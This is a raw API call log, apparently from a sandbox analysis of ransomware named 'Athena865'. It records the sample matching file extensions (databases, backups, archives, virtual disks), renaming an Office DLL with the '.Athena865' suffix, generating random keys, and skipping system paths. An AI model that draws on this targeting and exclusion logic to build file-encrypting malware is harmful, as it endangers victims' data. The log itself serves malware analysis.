lstrlenW (lpString="4dl") returned 3 [0113.284] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0113.284] lstrlenW (lpString="^^^") returned 3 [0113.284] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0113.284] lstrlenW (lpString="abs") returned 3 [0113.284] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0113.284] lstrlenW (lpString="abx") returned 3 [0113.284] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0113.284] lstrlenW (lpString="accdb") returned 5 [0113.284] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0113.284] lstrlenW (lpString="accdc") returned 5 [0113.284] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0113.284] lstrlenW (lpString="accde") returned 5 [0113.284] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0113.284] lstrlenW (lpString="accdr") returned 5 [0113.284] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0113.284] lstrlenW (lpString="accdt") returned 5 [0113.285] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0113.285] lstrlenW (lpString="accdw") returned 5 [0113.285] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0113.285] lstrlenW (lpString="accft") returned 5 [0113.285] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0113.285] lstrlenW (lpString="adb") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.285] lstrlenW (lpString="adb") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.285] lstrlenW (lpString="ade") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0113.285] lstrlenW (lpString="adf") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0113.285] lstrlenW (lpString="adn") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0113.285] lstrlenW (lpString="adp") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0113.285] lstrlenW (lpString="alf") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0113.285] lstrlenW (lpString="ask") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0113.285] lstrlenW (lpString="btr") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0113.285] lstrlenW (lpString="cat") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0113.285] lstrlenW (lpString="cdb") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0113.285] lstrlenW (lpString="ckp") returned 3 [0113.285] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0113.286] lstrlenW (lpString="cma") returned 3 [0113.286] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0113.286] lstrlenW (lpString="cpd") returned 3 [0113.286] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0113.286] lstrlenW (lpString="dacpac") returned 6 [0113.286] lstrcmpiW (lpString1="PS.DLL", lpString2="dacpac") returned 1 [0113.286] lstrlenW (lpString="dad") returned 3 [0113.286] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0113.286] lstrlenW (lpString="dadiagrams") returned 10 [0113.286] lstrcmpiW (lpString1="XP_XPS.DLL", lpString2="dadiagrams") returned 1 [0113.286] lstrlenW (lpString="daschema") returned 8 [0113.286] lstrcmpiW (lpString1="_XPS.DLL", lpString2="daschema") returned -1 [0113.286] lstrlenW (lpString="db-journal") returned 10 [0113.286] lstrcmpiW (lpString1="XP_XPS.DLL", lpString2="db-journal") returned 1 [0113.286] lstrlenW (lpString="db-shm") returned 6 [0113.286] lstrcmpiW (lpString1="PS.DLL", lpString2="db-shm") returned 1 [0113.286] lstrlenW (lpString="db-wal") returned 6 [0113.286] lstrcmpiW (lpString1="PS.DLL", lpString2="db-wal") returned 1 [0113.286] lstrlenW (lpString="dbc") returned 3 [0113.286] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0113.286] lstrlenW (lpString="dbs") returned 3 [0113.286] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0113.286] lstrlenW (lpString="dbt") returned 3 [0113.286] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0113.286] lstrlenW (lpString="dbv") returned 3 [0113.286] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0113.286] lstrlenW (lpString="dbx") returned 3 [0113.286] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0113.286] lstrlenW (lpString="dcb") returned 3 [0113.286] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0113.287] lstrlenW (lpString="dct") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0113.287] lstrlenW (lpString="dcx") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0113.287] lstrlenW (lpString="ddl") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0113.287] lstrlenW (lpString="dlis") returned 4 [0113.287] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0113.287] lstrlenW (lpString="dp1") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0113.287] lstrlenW (lpString="dqy") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0113.287] lstrlenW (lpString="dsk") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0113.287] lstrlenW (lpString="dsn") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0113.287] lstrlenW (lpString="dtsx") returned 4 [0113.287] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0113.287] lstrlenW (lpString="dxl") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0113.287] lstrlenW (lpString="eco") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0113.287] lstrlenW (lpString="ecx") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0113.287] lstrlenW (lpString="edb") returned 3 [0113.287] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0113.287] lstrlenW (lpString="epim") returned 4 [0113.287] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0113.287] lstrlenW (lpString="fcd") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0113.288] lstrlenW (lpString="fdb") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0113.288] lstrlenW (lpString="fic") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0113.288] lstrlenW (lpString="flexolibrary") returned 12 [0113.288] lstrlenW (lpString="fm5") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0113.288] lstrlenW (lpString="fmp") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0113.288] lstrlenW (lpString="fmp12") returned 5 [0113.288] lstrcmpiW (lpString1="S.DLL", lpString2="fmp12") returned 1 [0113.288] lstrlenW (lpString="fmpsl") returned 5 [0113.288] lstrcmpiW (lpString1="S.DLL", lpString2="fmpsl") returned 1 [0113.288] lstrlenW (lpString="fol") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0113.288] lstrlenW (lpString="fp3") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0113.288] lstrlenW (lpString="fp4") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0113.288] lstrlenW (lpString="fp5") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0113.288] lstrlenW (lpString="fp7") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0113.288] lstrlenW (lpString="fpt") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0113.288] lstrlenW (lpString="frm") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0113.288] lstrlenW (lpString="gdb") returned 3 [0113.288] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0113.289] lstrlenW (lpString="gdb") returned 3 [0113.289] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0113.289] lstrlenW (lpString="grdb") returned 4 [0113.289] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0113.289] lstrlenW (lpString="gwi") returned 3 [0113.289] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0113.289] lstrlenW (lpString="hdb") returned 3 [0113.289] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0113.289] lstrlenW (lpString="his") returned 3 [0113.289] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0113.289] lstrlenW (lpString="ib") returned 2 [0113.289] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0113.289] lstrlenW (lpString="idb") returned 3 [0113.289] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0113.289] lstrlenW (lpString="ihx") returned 3 [0113.289] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0113.289] lstrlenW (lpString="itdb") returned 4 [0113.289] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0113.289] lstrlenW (lpString="itw") returned 3 [0113.289] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0113.290] lstrlenW (lpString="jet") returned 3 [0113.290] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0113.290] lstrlenW (lpString="jtx") returned 3 [0113.290] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0113.290] lstrlenW (lpString="kdb") returned 3 [0113.290] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0113.290] lstrlenW (lpString="kexi") returned 4 [0113.290] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0113.290] lstrlenW (lpString="kexic") returned 5 [0113.290] lstrcmpiW (lpString1="S.DLL", lpString2="kexic") returned 1 [0113.290] lstrlenW (lpString="kexis") returned 5 [0113.290] lstrcmpiW (lpString1="S.DLL", lpString2="kexis") returned 1 [0113.290] lstrlenW (lpString="lgc") returned 3 [0113.290] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0113.290] lstrlenW (lpString="lwx") returned 3 [0113.290] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0113.290] lstrlenW (lpString="maf") returned 3 [0113.290] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0113.290] lstrlenW (lpString="maq") returned 3 [0113.290] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0113.290] lstrlenW (lpString="mar") returned 3 [0113.290] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0113.290] lstrlenW (lpString="marshal") returned 7 [0113.290] lstrcmpiW (lpString1="XPS.DLL", lpString2="marshal") returned 1 [0113.290] lstrlenW (lpString="mas") returned 3 [0113.290] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0113.290] lstrlenW (lpString="mav") returned 3 [0113.290] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0113.290] lstrlenW (lpString="maw") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0113.291] lstrlenW (lpString="mdbhtml") returned 7 [0113.291] lstrcmpiW (lpString1="XPS.DLL", lpString2="mdbhtml") returned 1 [0113.291] lstrlenW (lpString="mdn") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0113.291] lstrlenW (lpString="mdt") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0113.291] lstrlenW (lpString="mfd") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0113.291] lstrlenW (lpString="mpd") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0113.291] lstrlenW (lpString="mrg") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0113.291] lstrlenW (lpString="mud") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0113.291] lstrlenW (lpString="mwb") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0113.291] lstrlenW (lpString="myd") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0113.291] lstrlenW (lpString="ndf") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0113.291] lstrlenW (lpString="nnt") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0113.291] lstrlenW (lpString="nrmlib") returned 6 [0113.291] lstrcmpiW (lpString1="PS.DLL", lpString2="nrmlib") returned 1 [0113.291] lstrlenW (lpString="ns2") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0113.291] lstrlenW (lpString="ns3") returned 3 [0113.291] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0113.291] lstrlenW (lpString="ns4") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0113.292] lstrlenW (lpString="nsf") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0113.292] lstrlenW (lpString="nv") returned 2 [0113.292] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0113.292] lstrlenW (lpString="nv2") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0113.292] lstrlenW (lpString="nwdb") returned 4 [0113.292] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0113.292] lstrlenW (lpString="nyf") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0113.292] lstrlenW (lpString="odb") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0113.292] lstrlenW (lpString="odb") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0113.292] lstrlenW (lpString="oqy") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0113.292] lstrlenW (lpString="ora") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0113.292] lstrlenW (lpString="orx") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0113.292] lstrlenW (lpString="owc") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0113.292] lstrlenW (lpString="p96") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0113.292] lstrlenW (lpString="p97") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0113.292] lstrlenW (lpString="pan") returned 3 [0113.292] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0113.292] lstrlenW (lpString="pdb") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0113.293] lstrlenW (lpString="pdm") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0113.293] lstrlenW (lpString="pnz") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0113.293] lstrlenW (lpString="qry") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0113.293] lstrlenW (lpString="qvd") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0113.293] lstrlenW (lpString="rbf") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0113.293] lstrlenW (lpString="rctd") returned 4 [0113.293] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0113.293] lstrlenW (lpString="rod") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0113.293] lstrlenW (lpString="rodx") returned 4 [0113.293] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0113.293] lstrlenW (lpString="rpd") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0113.293] lstrlenW (lpString="rsd") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0113.293] lstrlenW (lpString="sas7bdat") returned 8 [0113.293] lstrcmpiW (lpString1="_XPS.DLL", lpString2="sas7bdat") returned -1 [0113.293] lstrlenW (lpString="sbf") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0113.293] lstrlenW (lpString="scx") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0113.293] lstrlenW (lpString="sdb") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0113.293] lstrlenW (lpString="sdc") returned 3 [0113.293] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0113.294] lstrlenW (lpString="sdf") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0113.294] lstrlenW (lpString="sis") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0113.294] lstrlenW (lpString="spq") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0113.294] lstrlenW (lpString="te") returned 2 [0113.294] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0113.294] lstrlenW (lpString="teacher") returned 7 [0113.294] lstrcmpiW (lpString1="XPS.DLL", lpString2="teacher") returned 1 [0113.294] lstrlenW (lpString="tmd") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0113.294] lstrlenW (lpString="tps") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0113.294] lstrlenW (lpString="trc") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0113.294] lstrlenW (lpString="trc") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0113.294] lstrlenW (lpString="trm") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0113.294] lstrlenW (lpString="udb") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0113.294] lstrlenW (lpString="udl") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0113.294] lstrlenW (lpString="usr") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0113.294] lstrlenW (lpString="v12") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0113.294] lstrlenW (lpString="vis") returned 3 [0113.294] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0113.295] lstrlenW (lpString="vpd") returned 3 [0113.295] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0113.295] lstrlenW (lpString="vvv") returned 3 [0113.295] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0113.295] lstrlenW (lpString="wdb") returned 3 [0113.295] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0113.295] lstrlenW (lpString="wmdb") returned 4 [0113.295] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0113.295] lstrlenW (lpString="wrk") returned 3 [0113.295] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0113.295] lstrlenW (lpString="xdb") returned 3 [0113.295] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0113.295] lstrlenW (lpString="xld") returned 3 [0113.295] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0113.295] lstrlenW (lpString="xmlff") returned 5 [0113.295] lstrcmpiW (lpString1="S.DLL", lpString2="xmlff") returned -1 [0113.295] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.Athena865") returned 77 [0113.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.athena865"), dwFlags=0x1) returned 1 [0113.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0113.297] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=71032) returned 1 [0113.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.297] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.298] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.298] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.298] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11880, lpName=0x0) returned 0x17c [0113.300] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11880) returned 0x100000 [0113.304] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.304] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.304] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.305] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0113.306] CloseHandle (hObject=0x17c) returned 1 [0113.306] CloseHandle (hObject=0x154) returned 1 [0113.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.307] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2=".") returned 1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="..") returned 1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="windows") returned -1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="bootmgr") returned 1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="temp") returned -1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="pagefile.sys") returned -1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="boot") returned 1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="ids.txt") returned -1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="ntuser.dat") returned -1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="perflogs") returned -1 [0113.307] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="MSBuild") returned -1 [0113.307] lstrlenW (lpString="FLTLDR.EXE") returned 10 [0113.307] lstrcpyW (in: lpString1=0x241e8b8, lpString2="FLTLDR.EXE" | out: lpString1="FLTLDR.EXE") returned="FLTLDR.EXE" [0113.307] lstrlenW (lpString="FLTLDR.EXE") returned 10 [0113.307] lstrlenW (lpString="Athena865") returned 9 [0113.307] lstrcmpiW (lpString1="LTLDR.EXE", lpString2="Athena865") returned 1 [0113.307] lstrlenW (lpString=".dll") returned 4 [0113.308] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2=".dll") returned 1 [0113.308] lstrlenW (lpString=".lnk") returned 4 [0113.308] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2=".lnk") returned 1 [0113.308] lstrlenW (lpString=".ini") returned 4 [0113.308] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2=".ini") returned 1 [0113.308] lstrlenW (lpString=".sys") returned 4 [0113.308] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2=".sys") returned 1 [0113.308] lstrlenW (lpString="FLTLDR.EXE") returned 10 [0113.308] lstrlenW (lpString="bak") returned 3 [0113.308] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0113.308] lstrlenW (lpString="ba_") returned 3 [0113.308] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0113.308] lstrlenW (lpString="dbb") returned 3 [0113.308] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0113.308] lstrlenW (lpString="vmdk") returned 4 [0113.308] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0113.308] lstrlenW (lpString="rar") returned 3 [0113.308] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0113.308] lstrlenW (lpString="zip") returned 3 [0113.308] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0113.308] lstrlenW (lpString="tgz") returned 3 [0113.308] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0113.308] lstrlenW (lpString="vbox") returned 4 [0113.308] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0113.308] lstrlenW (lpString="vdi") returned 3 [0113.308] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0113.308] lstrlenW (lpString="vhd") returned 3 [0113.308] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0113.308] lstrlenW (lpString="vhdx") returned 4 [0113.309] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0113.309] lstrlenW (lpString="avhd") returned 4 [0113.309] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0113.309] lstrlenW (lpString="db") returned 2 [0113.309] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0113.309] lstrlenW (lpString="db2") returned 3 [0113.309] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0113.309] lstrlenW (lpString="db3") returned 3 [0113.309] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0113.309] lstrlenW 